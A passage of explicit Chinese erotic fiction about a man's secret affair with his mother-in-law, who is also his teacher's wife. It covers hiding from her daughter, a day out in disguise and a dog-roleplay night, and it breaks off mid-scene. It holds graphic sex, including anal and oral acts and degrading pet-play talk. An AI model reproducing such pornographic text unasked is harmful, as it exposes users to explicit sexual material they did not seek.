听得敲门声再次响起,苏凝霜花容失色,银牙一咬,推着李天麟进了被子,蜷缩成一团,然后将床边的衣物塞进床下,匆匆打量一番不见什么破绽,才放下一半幔帐,将被子拉到身上,平静了一下心情才道:「谁在外面?」「娘亲,是我。」「……月儿,有什么事吗?」苏凝霜尽量平静的说。偏偏此刻李天麟被裹在被子里透不过气,身子动了几下,恨得苏凝霜低声道:“小坏蛋,不许乱动。”
伸出脚用力的踩了几下。
房门吱呀一声打开,月儿走进来,只见娘亲身上裹着被子躺在床上,放下了一半幔帐,露在外面的面颊潮红一片,挂着几滴汗珠,忍不住月儿啊了一声,快步上前道:「娘亲您又生病了吗?」苏凝霜红着脸,微微喘息道:「嗯。有些不舒服,所以躺下盖上被子发一发汗。」月儿急道:「不要紧吗?我这就去请大夫。」
苏凝霜忙道:「别麻烦了。娘亲只是有些稍有不适,躺一会就好了。」正说着忽然一根脚趾被小坏蛋含在嘴里,一股酥酥的麻痒感觉传到身上,眉头一皱,差一点呻吟出声,心里暗恨道:小坏蛋,什么时候了还敢使坏?只是女儿在面前,强自忍耐着不敢动一下。
月儿慌张的道:「我这就去请大夫。」
正要跑出去,被苏凝霜一把拽住衣服,道:「娘亲真的没事,不要去找大夫了。你刚才进来的急,带了一阵凉风进来,娘亲有些受不了,快出去把门关上,娘亲躺一下就好了。」被母亲叮嘱再三,月儿终于确信母亲并无大碍,才放下心来,道:「那娘亲您先躺一会,我一会儿再来看您。」说完了起身走出房去,关上门。
等到月儿离开了一会儿,苏凝霜才猛然掀开被子,雪白的肌肤都挂着一层玫瑰红色,低头嗔怒道:「小坏蛋,还不出来?」李天麟从被子里探出头来,长出了一口气。
苏凝霜探手揪住李天麟的耳朵,恨恨的道:「方才有多危险,你竟然在被子里还不老实。」李天麟一笑,探手将苏凝霜揽进怀中,道:「谁让师娘那么诱人,徒儿实在忍不住啊。」苏凝霜挣了几下不能挣开,索性放弃,躺倒在李天麟怀中,忽然心中一片茫然,喃喃道:「我不是一个好母亲,竟然背地里和女儿的夫君厮混。我,我……」眼圈一红,几乎要落下泪来。
眼看师娘几乎落泪的悲切样子,李天麟心中微微一痛,低头在苏凝霜唇上亲了一下,道:「霜儿,你是我的娘子啊。」伏在耳边轻声安慰了几句,苏凝霜才渐渐平静下来。事情既然已经做了,再怎么悔恨也无济于事。
情绪稳定之后,苏凝霜一下打掉李天麟在自己身上作怪的手,道:「赶紧起身吧,一会儿如果月儿再进来,师娘可真要无地自容了。」李天麟一笑,捏了捏师娘的鼻尖,道:「只要师娘答应我刚才的请求,否则我就再在你床上赖一会儿。」苏凝霜脸上一红,还真怕这小坏蛋不管不顾的真的赖在床上不走,犹豫片刻,终于红着脸慢慢面朝下趴在床上,翘起玉臀,如一架白玉拱桥,脸颊埋在被褥中,不敢抬起。
李天麟轻轻揭开被子,只见师娘跪趴在床上,光润滑腻的肌肤如同羊脂玉雕成的一座玉桥,两颗硕大玉乳垂到床上,轻轻颤动,圆润肥美的玉臀高高翘起,粉嫩的玉门和淡褐色的菊穴外沾着晶亮的液体,说不出的淫靡。
李天麟看得呆了,两只手揉弄着面前雪丘,向两边微一用力,紧缩的菊门现出小小的孔道。忍不住俯下头去探出舌尖舔弄着。
苏凝霜呻吟一声,羞道:「小坏蛋,再不快进来,师娘就不让你弄了。」李天麟笑了笑,伸手在师娘的美穴中刮了一层爱液涂在肉棒顶上,对准紧致的菊穴,慢慢插进去。
苏凝霜身子一抖,只觉得菊穴中被粗大的肉棒一寸寸填满,挤压得周边的嫩肉涨的很,虽然已经被爱液润滑过了,仍然又痛又涨,说不出的难受,银牙轻咬,鼻子中轻轻哼了一声。
「师娘,好紧呢。」李天麟喘息道。
被李天麟一下下有力的冲刺着,苏凝霜的身子不自主的前后晃动,紧紧的填满菊门的肉棒在里面慢慢抽动,带来火热的感觉,不同于插入的玉门的酥麻快感,刚开始时候还有些疼痛肿胀,后来却渐渐生出一种别样的滋味,渐渐的放开情怀,口中隐隐发出若有如无的呻吟,下意识地慢慢的摆动着腰部,好让天麟的那根东西能够插入的更深入些。
李天麟迷醉的抚弄师娘的美臀,俯下身子紧贴着柔软滑腻的肌肤,忽然贴近师娘的耳边,轻声道:「师娘,现在我们的姿势真像两只交配的狗儿呢。」苏凝霜心中一颤,登时又羞又怒,闭着眼颤声道:「胡说什么呢?哪,哪里像是……那东西。」「是,不像不像。」李天麟笑着,闭上眼睛,挺动着腰部,细细感受着师娘一阵阵紧缩的菊穴给自己带来的快感。
苏凝霜低低的呻吟着,身子被徒儿的挺动带动着前后摇动,一对硕大玉乳彼此拍打,发出一声声响声。忽然觉得自己的呻吟声很奇怪,有点像……小狗的声音?
猛然睁开眼睛,抬头正好瞥见旁边铜镜中两人欢爱的样子,自己跪伏在床上,玉臀不知羞耻的高高翘起,应和着天麟的插弄无意识的摆动着,脸上全是艳丽的红霞,水汪汪的两只眼睛充满满足迷醉的神色,而天麟在自己身后,身体紧贴在后背上,粗大的肉棒在自己菊穴中一下下插弄,带的自己的身子一下下前后摇动,垂下的两只玉乳轻轻拍击着,可不就像两只交配的狗儿一般?
一刹那间,苏凝霜脸上烧的厉害,赶紧将脸埋在被褥中,再不敢抬起来,只觉得心脏砰砰直跳,将枕头咬在嘴里,任凭李天麟再怎么调笑,不肯再发出一点声音。
天色全黑了,李天麟才从府外进来,早已等的焦急的月儿快步上前,娇嗔道:「怎么这么晚才回来?」看着夫君脸色疲惫,心中一阵心痛,拿手帕替他擦去额头汗水。
李天麟笑道:「有些事耽搁了。府里都好吧?」「嗯。就是娘亲身体又不好了,躺了半天呢。」「没请大夫吗?」「娘亲说没事,不让请大夫。」
两人一边说着走进客厅,只见饭菜早已备齐,苏凝霜坐在中央,面颊红润,眉宇间有些疲惫。眼看两人进来,笑道:「可算回来了,赶紧吃饭吧。」李天麟施礼道:「听说母亲身体不适,可好些了吗?您先前生过大病,应该保重身体才是。」苏凝霜面颊微红,道:「没什么大碍了。天麟在外奔波劳累,更应该注意身体。」两人又说了几句,才开始吃饭。
月儿夹了一块肉送到母亲碗中:「娘亲,您身子不好,多吃些肉补补身子。」接着又夹了一块到李天麟碗中:「师兄,你连日操劳,也该补补身子。」苏凝霜看了李天麟一眼,若无其事的夹起肉吃起来。
李天麟笑了笑,同样夹起一块肉到月儿碗里:「我家月儿在家侍候母亲,也快吃些肉补补。」月儿咯咯笑着,吃的津津有味。
正在吃饭,忽然外面传来一阵狗叫声。
苏凝霜脸色没来由一红,放下碗筷淡淡说道:「徐婆婆,一会儿纷纷人把乱叫的狗打死,听着叫声让人心烦。」徐婆婆答应一声出去,而月儿则瞪大眼睛,不知道母亲为什么和一条母狗过不去。
「啊,师兄……用力,月儿,月儿要出来了……」月儿跪趴在床上,高高翘起美臀,一下下挺动身子,应和着李天麟的抽插,脸上红艳欲滴,身子之撑不住似的晃动。
李天麟重重呃呼吸着,手臂揽住月儿的腰部,一面奋力冲刺着,一面道:
「好月儿,小母狗……叫两声给夫君听听……」「坏……坏蛋师兄!好过分啊……嗯……汪,汪汪……」随着一阵激烈的喘息和呻吟声,两人身体同时一僵,保持了片刻,然后瘫软下来。
李天麟喘息着,看着身旁月儿羞怯的小脸上红艳艳的,忍不住伸手去擦拭上面的汗水,笑道:「月儿,刚才好美呢。」月儿同样喘息着,眼中水光盈盈,娇嗔道:「坏蛋师兄,净想出这么羞人的法子来……」「可是月儿也很享受呢。」
接下来的话再也说不下去,因为月儿已经伸出小手在李天麟的胸口一下下拧着:「不许说,人家才没有!」李天麟哈哈一笑,伸手将月儿的小手攥住,眼睛温柔的盯着小妻子的眼睛。
月儿脸上慢慢羞红了,嘤咛一声将头埋进夫君怀中。
隔了片刻。
李天麟轻轻抚摸着月儿娇美的身躯,眼前却仿佛浮现出另一具同样娇美却更加成熟柔和的娇躯的影子。「月儿,想不想再来一次?」「哼!」怀中的美人娇嗔一声:「就知道大坏蛋不肯放过我。」一条雪白纤细的玉腿搭在李天麟腰部,慢慢摩擦着。
吃晚饭的时候,月儿得意的拿出一张请柬,在母亲和夫君面前晃动着。
「什么东西?」李天麟一把抢过来,一把躲避着月儿的追抢,一边念出来:
「碧水湖诗会?邀请韩月儿小姐参加?呵呵!」苏凝霜也是一脸笑容:「呵呵,我家月儿也是小才女了啊,能参加诗会了。」月儿趁李天麟不备,抢过请柬,有些羞涩的道:「是李府的真娘姐姐组织的诗会,邀请我参加呢。」李天麟笑道:「『春风拂碧水,夏日照红莲』,做出这样诗句的笨丫头也可以参加诗会了吗?哎呀!」闪身避开月儿的小拳头。
「有些人想参加还参加不了呢。这次可是只邀请了玉州城年轻小姐夫人们呢。」月儿举起小拳头,恐吓得冲着李天麟晃动着。转回头对着母亲:「要是娘亲能一起去就好了,肯定能成为诗会的魁首。」苏凝霜笑道:「你们年轻人的诗会,娘亲就不掺和了。对了,诗会一共几天,要不要天麟陪你去?」「一共三天啊。才不要师兄陪着,要是被其他姐妹看见,不知道要怎么取笑月儿呢。」「这话说的有理。」李天麟正色说道:「不过月儿,没有我在身边要小心啊。」「什么?」「作诗可以,千万记得写完了让人誊写一遍,否则你的那笔字……哎呀,不许抓脸!」两个人嬉闹起来。
第二天上午,月儿收拾了行装,让下人准备了马车,李天麟送她到门口,笑着说道:「月儿,真的不要夫君送你过去啊?」月儿咯咯笑着,把李天麟推开,道:「去去去,不要在这里碍眼。我走了,家里的事情你自己操心些。」李天麟笑着答应,趁月儿不备在脸上亲了一口。
月儿啊的叫了一声,悄悄瞟了一眼旁边伺候的几个丫鬟,眼看着她们都转过头去,才放下心来,踮起脚在夫君唇上还了一下,羞红着脸快步登上马车。
眼看马车走远,李天麟才转身回府,直接进了客厅,只见里面只有苏凝霜一人坐着查看账本,悄悄走到身后,轻轻抱住苏凝霜的腰肢,道:「师娘,月儿走了。」苏凝霜面颊微红,轻轻挣开,娇嗔道:「大白天的,干什么呢?」李天麟笑呵呵道:「反正这个时候没人进来。霜儿,好几天没和你在一起了啊。」说着两只手握住师娘的一对玉乳,轻轻揉弄。
苏凝霜被徒儿挑逗的心猿意马,强自忍住,挪开李天麟的手,对外面喊道:
「徐婆婆在吗?」
徐婆婆走进来,道:「小姐,有什么吩咐?」
苏凝霜微微红了脸,道:「前些日子府里事情多,有劳大家了。传话下去今明两天给下人们放假,若有亲友在城里城外的可以去探访,到柜上支取些银两,算是府上的赏赐。」徐婆婆看了李天麟一眼,意味深长的笑了笑,乐呵呵的说道:「是,小姐,中午之前我就让府上下人都出去逛逛,后天一大早再来府上听用。」府上下人们听徐婆婆传达了放假的吩咐,各个心中高兴,从账上支取了银两,三三两两的出门去。倒是有些机灵的隐约知道夫人与姑爷之间的事情,但事不关己,又有银子拿,哪个会多嘴多舌?
等到府上人走了个干净,李天麟再也忍不住,将苏凝霜搂在怀中,火热的嘴亲吻着面颊与雪白的脖颈,道:「师娘,就我们两个人了啊。」苏凝霜被李天麟弄得气喘吁吁,面颊通红,嘤咛一声,喘着气道:「别作怪,大白天的……还有账目没理清呢,不……不许使坏。」李天麟双手探入师娘的衣领,揉捏这那对雪白滑腻的玉乳,笑道:「白天不许,那今晚呢?」苏凝霜心中荡漾,媚眼如丝,按住李天麟双手,娇声道:「晚上,晚上再说啊……」突然啊的一声,被李天麟揉弄的身子一颤,哀求道:「天麟,别使坏了。
大不了……大不了晚上随便你怎么弄……」
两人又彼此嬉笑一阵,李天麟坐在旁边椅子上,一边嗅着指尖的乳香气息,一边笑呵呵的看着苏凝霜对账。
苏凝霜被李天麟两只眼睛肆意扫视,心中慌乱,精神总是难以集中,账目中间错了几次,最后终于气恼瞪了李天麟一眼,嗔道:「小坏蛋,不许乱看。」李天麟笑着举起手道:「我可什么都没做啊。」苏凝霜赌气的合上账簿,道:「账目对不完了,明天在说。」李天麟轻笑。
眼看师娘又羞又怒的样子,李天麟心中一荡,起身走到身后,揉弄着师娘香肩,道:「师娘这几日辛苦了,您好久没出去逛街了,现在天色尚早,要不要出去逛逛?」苏凝霜眼睛一亮,抿嘴笑了笑,随即板起脸道:「逛街可以,但是岳母跟女婿可没有一起逛街的道理。」李天麟呵呵一笑,一把抱起苏凝霜,向苏凝霜房间走去,笑着说道:「岳母不跟女婿逛街,娘子陪夫君逛街可是天经地义的事情。」到了房内,苏凝霜重新装扮一番,故意画了与往日不一样的妆容,在李天麟目光注视下含羞换了平日不怎么穿的衣裳,挂上面纱,若不是十分熟悉的人,一下子也难以分辨出来。
李天麟同样装扮一番,两人相视而笑。
李天麟向苏凝霜深施一礼,抬手道:「这位娘子,可愿与小生一起到城里走走?」苏凝霜忍着笑意,将手放在李天麟手中。
两人悄悄从后门出去,捡着不常走的路穿过几条街,来到闹市区。
大街上熙熙攘攘,人烟嘈杂,两人肩并肩,两只手挽在一起,慢慢的走着,一路上逛了绸缎庄胭脂铺,看了街头杂耍,最后李天麟还不顾苏凝霜的反对,买了两只糖葫芦,一人一只吃着。
嘴里含着又酸又甜的糖葫芦,苏凝霜双眼中满是温柔笑意,面纱下的面颊上挂着盈盈笑意,仿佛一下子变成了一个天真少女一般,身上多了几分活泼,少了几分文雅。
李天麟看着美师娘如此高兴的样子,心中柔情荡漾,放开师娘的手,悄悄环住她的腰肢。
苏凝霜瞟了李天麟一眼,含着笑并不抗拒,反而将头慢慢的靠过来。
两人如同爱恋中的男女一般,心中充满柔情蜜意,只希望时间能永远停在这一刻。
眼看时间到了中午,李天麟见苏凝霜额头有了一丝汗水,心疼不已,拉着苏凝霜的手进了一座酒楼,早有伙计迎上来躬身道:「客官,夫人,可是要用饭?」一句夫人,将苏凝霜弄得面颊微红,羞涩的低下头去。
李天麟将苏凝霜的腰肢揽紧了几分,道:「你给安排一个安静的雅间,我和娘子要用饭。有什么拿手的好菜只管送上来,如果不可娘子口味,可别想得赏钱。」伙计答应一声,将两人领入一个雅间,不大一会功夫,上了好几道菜,退出门去,顺手将门关上。
李天麟将苏凝霜按在自己身边,殷勤的将菜品夹入苏凝霜盘中。苏凝霜面带羞涩笑意,一口口吃着,这家店做的菜肴着实不错,色香味俱全,可是对于苏凝霜来说,莫说是佳肴美味,就算是吃糠咽菜此时也是齿颊留香。
至于李天麟,菜没吃几口,光顾了看着师娘笑盈盈的样子,魂魄都飞到半空中了,哪里顾得上自己吃饭?
苏凝霜忍住笑,夹起一筷子鱼肉,送到李天麟嘴边,道:「张嘴。」李天麟顺从的张开嘴将鱼肉含在嘴里,一面嚼着,一面笑道:「娘子,再喂一口?」苏凝霜笑道:「贪吃鬼,小的时候不知道喂了你多少次,长大了还要人喂?」嘴上埋怨着,却顺从的夹了菜,放进李天麟嘴里。
两人吃了一会儿功夫,有了七八分饱,彼此耳鬓厮磨,心中流淌着着一股暖意,整颗心都如同要融化了一般。
两双眼睛柔情对视,此时无言,却胜过千言万语。恰在此时,听见外面琵琶声音响起,有卖唱的小女子捏着细细的嗓音轻柔唱到:「黄昏才消细雨,独坐窗棂下。想那人,望穿秋水,不见回家。心里乱如麻,懒梳妆,胡乱了鬓发。当年少年郎,围床绕竹马,如今健壮男儿让奴家思得心也融化,又是念他,又是怨他。
低首含春羞不住,心如小鹿儿撞篱笆,只盼那冤家早归家,共上鸳鸯榻,才不辜负这良辰美景,似水年华……」听着这唱词,两人同时脸上发红,心中柔情几乎不可抑制。李天麟伸手握住苏凝霜一对芊芊素手,在掌心揉搓,而后者只是娇羞的瞥了他一眼,含着笑低下头去,脸上满是醉人的红霞。
李天麟心神荡漾,轻轻抱起苏凝霜轻柔的身子,放在自己身上,轻轻吻着两片柔软鲜嫩的芳唇,两只手探入美妇人衣服里,揉弄着那对令自己垂涎的饱满乳峰。苏凝霜轻轻闭着眼睛,微微抬头婉转相就,两条舌头彼此逗弄,没有一会儿功夫两人已经是娇喘微微。若不是身在酒楼,只怕当时便要抑制不住自己的情欲,与天麟共享鱼水之欢。
「娘子,回家吧,我想要你了。」李天麟喘着气道。
苏凝霜咯咯一笑,伸手挡在李天麟的嘴,轻声道:「别心急,说好了要到晚上的。」话虽如此说,不觉自己裙中早已悄然湿了一片。
正在情浓时,忽然听到旁边房间一阵大声喧哗声。两人面色一僵,登时没了气氛。
只听一个声音大声道:「要说起来,翠红楼的香秀姑娘可算是全玉州最好看的,那眉眼身段和放浪的小眼神,真能要人老命。」另一人马上不服道:「话不能这么说,飘香楼的小红姑娘才是才色双绝,吹得一只好箫,凡是领教过的人哪个不交口夸赞?」马上又有人道:「不然不然,丽春院的绣娘才是玉州第一的美人,其他人可比不了……」几个人吵吵嚷嚷,争论不休。
李天麟一笑,低头亲了苏凝霜一下,轻轻道:「这帮人一个个都没见识,我家娘子才是玉州——不对,是全天下最美的美人呢。」苏凝霜笑着捶了李天麟一拳,伏在李天麟怀中笑得格外妩媚。
两人又听了一阵,隔壁的争论越发激烈,言辞间也越发不讲究,淫词浪语滚滚而出,用下流猥琐的言语描摹着嫖弄青楼女子的行状,听得人一个个兴奋异常,叫声连连。
苏凝霜早已羞红了脸,小声道:「这地方不能待了,快走吧。」两人结了账,走出门去。
刚走出不远,旁边雅间门一开,一名酒客从里面出来,一抬头,恰好看见苏凝霜半张侧脸,正将面纱挂起,登时整个人呆住,口水拉出老长,手中酒杯落在地上也反应不过来,好半天才嚎叫一声,飞奔回雅间,喊道:「老天爷,我看见仙女下凡了!」酒客如何骚动不说,李天麟和苏凝霜手挽着手一路走来,李天麟只觉得师娘的挽着自己胳膊的手比上午抓的紧了几分,半个身子都几乎挂在自己身上,面颊绯红一片,羞不可言,忍不住低声道:「娘子,不舒服吗?」苏凝霜低声嗯了一声,脸上更加晕红。抬头看见前面一家店铺,道:「天麟,你等我一下,我去买些东西。」李天麟道:「我陪你进去吧。」
苏凝霜咯咯笑道:「都是一些女人用的东西,你怎么能进去呢。」李天麟抬眼望去,果然店铺中出入的三三两两都是女子,神情扭捏,只得道:
「那好,我在这里等你。」
苏凝霜迈步进了店铺,过了一会儿功夫提着一个包袱出来,面带羞意,拽着李天麟的胳膊道:「好了,快走吧。」李天麟问:「买了些什么东西啊?让我看看。」苏凝霜抬手避开李天麟伸过来的手,羞道:「都是女人的东西,不许看。」李天麟心中揣测着:应该是女子贴身用的东西吧。当下不再深究,两人一路躲开熟人,悄悄回到府中。
两人回到府中,先歇了一歇。苏凝霜继续上午的对账,忙完之后日头已经西斜了。抬头看到李天麟趴在桌上打盹,微微一笑,道:「小懒虫,还不快起来。」李天麟起身笑道:「师娘,快晚上了啊。」苏凝霜只是微笑,道:「今晚小坏蛋想吃什么?」李天麟笑着答道:「什么都不想吃,只想吃师娘啊。」苏凝霜娇哼一声,白了李天麟一眼,转身向厨房走去。
在房中坐了一会儿,李天麟百无聊赖,索性也进了厨房。
厨房中,只见苏凝霜脱了外面的衣服,罩上一层围裙,两只玉手正在和面,雪白的面团在两只手中变幻着形状,让李天麟联想起不好的事情来。
李天麟忍着笑,走到苏凝霜身后,抱住师娘的腰,道:「师娘,要不要我帮忙啊?」苏凝霜啊的一声吓了一跳,回头白了李天麟一眼:「你帮什么忙?会揉面吗?」李天麟坏笑道:「经常揉呢,师娘不知道吗?」两只手解开师娘的围裙,探入怀中,揉弄着那对高耸的玉乳。
苏凝霜呻吟一声:「别……别使坏了。」
两只玉乳捧在手中,雪白柔腻,在掌中变幻着形状,李天麟调笑道:「师娘,你看徒儿揉面的手艺如何?」「小坏蛋,……让你揉面呢,怎么,哼……揉那个东西?」「呵呵,揉面我也会啊。」李天麟笑着,身子向下一压,苏凝霜的胸部俯下去,一对硕大玉乳贴在面板上,然后李天麟将面团放在两只玉乳中间,双手大力揉弄着:「师娘,你看,徒儿帮你揉面呢?」苏凝霜呻吟一声,只觉得手脚酸软,眼看着面前自己的一对乳房与面团纠缠在一起,羞涩难当,奋力直起身,嗔道:「快,别捣乱了。再乱来,师娘可真要不高兴了。」李天赐这才意犹未尽的止住胡闹,笑道:「还是怨师娘,让我忍了一天了,还不知要忍多久……」苏凝霜嘴角微微一翘,手指沾了一点面粉,抬手在李天麟鼻子上弹了一下,柔声道:「说好了到晚上的,没有一点耐心。」「可是,徒儿现在就想要了啊。」「别使坏,」苏凝霜轻咬下唇,柔媚的看了李天麟一眼,红着脸羞道:「大不了,到时候师娘……师娘陪你弄几个小花样出来……」「啊?什么花样?」苏凝霜突然面颊绯红,将李天麟推出门外,道:「快出去,别在这里添乱了。」等到李天麟离开,苏凝霜回到面板前,脸上带着诱人的羞意,弄掉玉乳上沾着的面粉,才觉得身下湿漉漉的一片。忍不住呻吟一声,低声骂道:「磨人的小坏蛋。」又想到自己准备的东西,只觉得脸上烧的厉害,心口砰砰直跳,双手抚摸着脸颊,自语道:「小坏蛋,这次,师娘真是为了你丢尽脸了……」等到掌灯之后,苏凝霜才端着托盘走进来,上面简简单单四个菜,两碗粥,一笼热气腾腾的白馒头,一壶酒。
把酒菜放在桌上,苏凝霜解开围裙放在旁边,身上只穿着里衣,露出半截白藕一样的小臂,胸前丰满的玉乳将衣服高高挺起,无意间看见李天麟的目光直勾勾看着自己胸口,心中微微害羞,却装作未发现的样子,反而悄悄挺了挺胸脯,嘴角含笑,坐到李天麟旁边,笑道:「来,尝尝师娘做的菜。」李天麟笑着点头,夹了几口菜放到嘴里,一边吃一边忍不住赞道:「师娘的手艺比酒楼的大厨还要好呢。」一只手抓过一个馒头,吃了几口,直叫「好吃」,两只眼睛坏坏的看着师娘的胸口。
苏凝霜自然知道李天麟的意思,心中荡漾,斟了两杯酒,一杯递给李天麟道:
「先喝口酒,暖暖身子。」
李天麟拿着酒杯,却不喝下去,笑吟吟看着苏凝霜道:「娘子,咱们应该喝交杯酒吧?」苏凝霜白了李天麟一眼,手臂从李天麟的臂弯穿过去,两人相视而笑,同时将酒喝下去。
连喝了几杯酒后,苏凝霜脸上红晕越发诱人,两只眼睛水汪汪的几乎要滴出水来,周身上下散发着无比诱人的气息,觉得一股酒后热气涌上来,额头微微有了些汗液,不自觉的扯开一些衣领,露出若隐若现的一丝雪白。
李天麟早已是心猿意马难以自已,脸上红了一片,呼吸有些急促,目光灼灼的盯着苏凝霜胸口的白皙。
明知道徒儿对自己的意思,苏凝霜心中浮现出淡淡的羞涩与喜悦,捧起酒杯道:「天麟,再喝一杯吧。」李天麟突然伸手抓住苏凝霜的一只胳膊,苏凝霜吃这一吓,手一抖,半杯酒洒落在胸口衣服上,瞬间施了一片,衣服变得透明,胸前明显的可以看到两点嫣红。
苏凝霜惊叫一声,正要去拿毛巾,李天麟已然一把将她抱住,大手嗤的一声,将胸前衣服扯开,白玉般的玉乳拜托了束缚,骄傲的挺立在空气中。
苏凝霜惊叫一声:「天麟,你干什么?」
李天麟猛地埋下头去,用舌头舔着苏凝霜胸前的酒液,随后张嘴含在苏凝霜的一只饱满的玉乳,一只手握着另一只,大力的揉弄。
由于过于激动,李天麟的手用力太大,苏凝霜只觉得玉乳一阵疼痛,片刻之间已经乌青了一片,嘶嘶的吸着气,却不阻止徒儿的行为,反而一把将李天麟的头按在胸口,颤着声音呻吟道:「小坏蛋……还没吃完饭呢……」李天麟喘息着:「不吃饭了,先吃师娘。」手在桌子上一推,将碗碟推到一旁,酒杯啪的一声落在地上,酒撒了一地,反手将师娘的身子放在桌上,撕开她的裙子,手探进亵裤,入手之处早已湿淋淋的,如同发了一场洪水。
苏凝霜此时也已经是兴奋异常,用手扯开李天麟的衣服,抬起玉足隔着裤子蹭着他高挺的肉棒,樱桃小嘴吐着灼热的气息:「那……师娘给你吃……」李天麟迅速的扯开自己的腰带,粗硕的肉棒愤怒的张开独眼,颤动着隔着亵裤抵在苏凝霜的阴户外面,被爱液浸透的半透明的亵裤被顶的深陷进去,紧紧的包裹在阴户上,一股股爱液渗出来,瞬间沾湿了李天麟的肉棒顶部。
苏凝霜长长的呻吟一声,伸手抵住李天麟的胸口,喘息道:「天麟,别在这里弄……抱师娘回房去吧……求你了。」李天麟喘着粗气,猛地起身抱着苏凝霜的身体迈步向外走,说道:「好,我们回房去做……」出来之后,正要转弯去苏凝霜的卧房,忽然苏凝霜道:「错了,不是去那里。」「什么?不是……啊……师娘的房间吗?」苏凝霜将头埋在李天麟胸口,看不见表情,娇媚的低声喘息着:「去,去月儿原来的房间。师娘……要在月儿的床上被你弄……」着一句话说出来,李天麟只觉得身上的血液都要沸腾了,忍不住低头去看苏凝霜的脸,却见师娘的头埋在自己胸口,只能瞥见半张面颊,已经是红的要滴出血来,当下心中兴奋难以克制,肉棒不由自主的胀大了几分的样子,几乎要刺破那条窄窄的亵裤直插入师娘的美穴中一样。
苏凝霜呻吟一声,身子一阵颤动,紧紧抱住李天麟的身子,玉乳被夹得变了形状,两条玉腿盘在李天麟腰间,颤抖着声音道:「天麟,再忍忍,师娘都快要被你弄的出来了。」李天麟不答话,转身向着月儿的房间走去,高挺的肉棒随着脚步在师娘的阴户上一下下捣弄,虽然没有插入,却刺激的苏凝霜娇喘不断,一股股流淌而出的爱液滴滴哒哒洒满整条道路。
刚一进屋,苏凝霜便道:「天麟,放我下来。你自己去床上等着,师娘有些东西要准备。」李天麟喘息道:「还要准备什么?我现在就忍不住要操师娘了!」苏凝霜咯咯笑了,道:「放我下来,有你的好处呢。」李天麟无奈,只好慢慢将师娘放在地上。苏凝霜坐在地上,只觉得四肢酥软无力,下面阴户中爱液还在一股股流出来,身下的地面都湿了一片,抬头看着李天麟喷火的眼睛,忍不住笑了一下,伸手推了一把,娇嗔道:「去床上等着,师娘一会儿就过来。」李天麟只得转身坐到床边,胯下肉棒高高挑起,如同一柄出鞘的匕首,只见床上新换了大红的被褥,床头贴着喜字,桌子上是红色的喜烛,心中一动,想道:
「原来师娘是想把婚礼补上呢。」脑海中不由得浮现出师娘身穿大红喜服头顶盖头的样子,只觉得血脉喷张,遐想无限。
时间只过了一小会儿,对于李天麟来说却几乎是几年时间那么长。正在焦急中,忽然听到一阵叮当叮当的铃铛响。
李天麟循着铃声望去,所见情景却令他血脉喷张,心脏几乎跳出胸膛来。
平日里端庄恬静的师娘,此时身上不着寸缕,雪白双臂抱在胸前,却无法掩尽那片诱人风光,嘴角含着盈盈笑意,一步步慢慢走来,头上戴着一对狗耳,脖子上戴着皮项圈,上面挂着一个小铃铛,叮当叮当的晃动,肥美的玉臀高高翘起,后庭中插着一根蓬松的狗尾,随着玉臀的摆动轻轻摇曳。
师娘的脸上挂着娇媚至极的笑容,看着李天麟发呆的样子,心中除了羞涩更多了兴奋,只觉得玉门中一股爱液悄悄顺着雪白的大腿流下来,在腿上留下长长的印记,她慢慢走到李天麟面前,脸上略微羞涩的笑了一下,慢慢跪下来,四足着地,抬起头,诱人的小嘴轻轻含住徒儿的肉棒。
李天麟此刻才反应过来,却仍然觉得难以置信,颤声问:「师娘,你?」苏凝霜眉目带着笑意,轻轻摆动着头颈,李天麟粗硕的肉棒在师娘口中一下下出入,亮晶晶的上面沾满了口水,目光中饱含诱人的笑意。
李天麟低吼一声,再也忍不住,双手抱住师娘的头,肉棒在师娘口中抽弄起来,一下下的用力,感受着肉棒顶部与师娘口中舌头和牙齿的摩擦,初始之时还知道留几分力,后来看着师娘眼中的笑意与调笑意味,却是再也按耐不住,一下下的直插道喉咙深处,快速的抽弄几下,一阵酥麻感觉难以抑制,一股精液直接在师娘口中喷射出来。
苏凝霜脸色涨得通红,奋力吞咽了几下,慢慢将李天麟的肉棒吐出来,嘴角淌下乳白色的液体,娇嗔道:「小坏蛋,差点把师娘噎住了。」低头看着略显疲态的肉棒,微微一笑,双手捧起玉乳,将它夹在中间,慢慢揉动双乳,雪白的肌肤一下下摩擦着肉棒,给李天麟带来强烈的刺激。
李天麟喘了口气,道:「师娘,你怎么这个打扮?」苏凝霜笑盈盈的道:「你这小坏蛋不是说咱们两个像一对狗儿吗?现在,喜欢师娘这条母狗吗?」李天麟心中振奋不已,叫道:「喜欢,太喜欢了。」苏凝霜抿嘴一笑,伸出舌头在李天麟肉棒上欢快的舔弄,直到那根巨物重新昂起头来,缓缓起身,跨坐道李天麟身上,慢慢坐了下去,身子紧紧贴在李天麟胸口,贴着耳朵吐息道:「天麟,师娘的下面准备好了,等着你进来了。」李天麟一条手臂紧紧将苏凝霜抱住,揉弄着苏凝霜的玉乳,狂乱的亲吻着苏凝霜,喘息道:「徒儿,……要操干母狗的穴儿。」苏凝霜嗯了一声,脸上红艳艳的几乎要滴出血来,情动至极,一面回应李天麟的亲吻,一面伸手握住他的肉棒,引导到自己玉门外面,美臀向下一沉,火热的肉棒如果一根燃烧着火焰的铁棍,毫无阻碍的深深插入阴户,发出响亮的扑哧一声响。
苏凝霜呻吟一声,双手抱住李天麟的身子,腰肢摇动起来,粗大的肉棒在阴户中一下下插弄,一团嫩肉都被带出玉门外面来,一股股爱液泉水一样涌出来,淫靡的声响急促的响起来。
「天麟……好厉害,插,插到最里面去了。……嗯,好美!」苏凝霜忘情的呻吟着,腰肢水蛇一般扭动,一对骄挺玉乳在徒儿胸膛上挤压摩擦着,发出清脆的声响。
李天麟扶住苏凝霜的腰,暗暗的用力将师娘的娇躯提起放下,以便替师娘节省体力,苏凝霜淫荡的呻吟着,欢唱着,眼中闪烁着喜悦的光泽,有意识的摇动身子,一头乌黑锦缎般的秀发散开,瀑布一样流淌着。
粗硕的肉棒在深红色的肉穴中一下下插弄,发出响亮的扑哧扑哧声音,爱液顺着缝隙滴滴哒哒溅落的到处都是,苏凝霜的小腹都被顶的凸出来,几乎从外面就可以看到那粗大的肉棒形状。
「天麟,天麟……」苏凝霜放浪的摆动身子,忘情的呼喊:「顶……顶到花心里去了……」李天麟呼哧呼哧的喘着,插弄了不知多少下,双手大力揉弄着硕大的玉乳,猛地将师娘抱起,脸朝下放在床上,抬手拔掉师娘后庭中的狗尾,肉棒用力插进去。
